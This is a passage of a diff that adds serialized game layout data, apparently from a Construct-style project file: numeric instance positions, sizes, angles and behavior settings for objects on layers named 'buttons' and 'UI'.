+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 647.4462890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3023.259033203125,
+ 423.2801208496094,
+ 0,
+ 38,
+ 34,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6252,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3740.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6253,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3771.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6254,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3802.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3834.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6256,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3864.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3895.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3926.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6260,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3988.439697265625,
+ 642.022705078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6261,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4206.515625,
+ 641.7650756835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6268,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4237.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6269,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4268.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6270,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4299.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4331.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6272,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4361.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6273,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4392.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6274,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4423.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6275,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4455.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6276,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3751,
+ 544,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6277,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3844,
+ 480,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6278,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3968,
+ 480,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6279,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4185,
+ 480,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6281,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4309,
+ 480,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6282,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4433,
+ 544,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6283,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1106,
+ 262,
+ 0,
+ 78,
+ 710,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6284,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2466,
+ 172,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5170,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2231,
+ 290,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5171,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2011,
+ 414,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5172,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1787,
+ 514,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5163,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1558,
+ 521,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5164,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3304.521240234375,
+ 133.3823394775391,
+ 0,
+ 83,
+ 366,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5177,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2457.94287109375,
+ 297.9773254394531,
+ 0,
+ 75.770263671875,
+ 76.76727294921875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5178,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2234.358642578125,
+ 406.4401245117188,
+ 0,
+ 75.770263671875,
+ 76.76727294921875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5179,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2010.7744140625,
+ 523.4652099609375,
+ 0,
+ 75.770263671875,
+ 76.76727294921875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5180,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1789.096801757813,
+ 632.8798828125,
+ 0,
+ 75.770263671875,
+ 76.76727294921875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5181,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1563.61767578125,
+ 676.64453125,
+ 0,
+ 75.770263671875,
+ 166.2003784179688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5182,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1473,
+ 659,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5659,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1470.099365234375,
+ 676.2042236328125,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 5660,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1470.099365234375,
+ 673.2042236328125,
+ 0,
+ 92.81533813476562,
+ 49.44043731689453,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5661,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4090,
+ 157,
+ 0,
+ 103,
+ 515,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 5183,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 895,
+ 725,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4540,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 378,
+ 881,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4541,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5,
+ 881,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4542,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1130,
+ 881,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4543,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 881,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4544,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1881.583374023438,
+ 880.8276977539062,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4545,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1508.583374023438,
+ 880.8276977539062,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4546,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2633.58349609375,
+ 880.8276977539062,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4548,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2260.58349609375,
+ 880.8276977539062,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4549,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3382,
+ 880,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4551,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3009,
+ 880,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4552,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4134,
+ 880,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4553,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3761,
+ 880,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4554,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4886.12646484375,
+ 880.0390014648438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4555,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4513.12646484375,
+ 880.0390014648438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4556,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5638.12646484375,
+ 880.0390014648438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4557,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5265.12646484375,
+ 880.0390014648438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4558,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2827,
+ 1350,
+ 0,
+ 5941,
+ 703,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 4565,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4097.03662109375,
+ 632.5317993164062,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 5161,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4861.234375,
+ 807.3790893554688,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 5162,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 186156892837607,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 645512106981984,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 6289,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 6290,
+ [],
